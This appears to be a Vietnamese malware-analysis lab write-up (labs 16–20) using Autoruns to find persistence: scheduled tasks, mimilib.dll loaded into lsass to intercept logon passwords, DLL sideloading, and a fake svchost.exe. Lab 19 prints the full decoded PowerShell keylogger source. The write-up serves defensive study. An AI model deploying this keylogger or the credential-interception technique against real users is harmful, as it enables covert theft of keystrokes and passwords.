# lab16
rà soát bằng autorun phát hiện entry khả nghi tại task scheduled.

Lấy hash và kiểm tra với virustotal:


Kết luận đây là mã độc.
# lab17
rà soát bằng autorun phát hiện các entry khả nghi sau, tuy nhiên jump đến image thì không thể tìm thấy file.

Tiếp tục tìm kiếm, phát hiện:

mimilib.dll là dll của mimikatz. Việc set mimilib vào registry Security Package, khi hệ thống reboot, mimilib.dll sẽ được load vào lsass.exe, intercept tất cả logon passwords lần tiếp theo có ai đó logs log vào system hoặc authenticates qua runas.exe. Jump đến image thì có mimikatz và các dll khác.

kết luận đây là mã độc.
# lab18
rà soát với autorun, phát hiện entry task schedule:

Tìm kiếm thông tin về exe này, có một số báo cáo về việc exe này được sử dụng để dll side loading.
https://any.run/report/3d95d0aa878c13f197ef2bccef5dbd2633f8de3cdf9691c46e264cce2d241f9a/e13474af-a4e8-4d94-9595-199e7f9e9ae3
https://www.trendmicro.com/en_us/research/12/i/unplugging-plugx-capabilities.html


nvsmart.sys và NvSmartMax.dll không được ký số. Tiến hành kiểm tra:


Kết luận đây là mã độc, sử dụng legit program để dll sideloading dll độc
# lab 19
Rà soát với autorun, một windows event được setup trong task schedule:

Jump đển entry để mở task schedule, Tìm windows event được đăng ký trong task schedule:

Event được trigger bất cứ khi nào có người dùng đăng nhập. Payload powershell sau khi đi decode là:
```ps!
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\logfile.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
try
{
#Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
while ($true) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally
{
# open logger file in Notepad
# notepad $Path
}
}
# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger
```
Đây là keylogger
# lab20
rà soát bằng autorun phát hiện:

Kiểm tra file svchost.exe:

kết luận đây là mã độc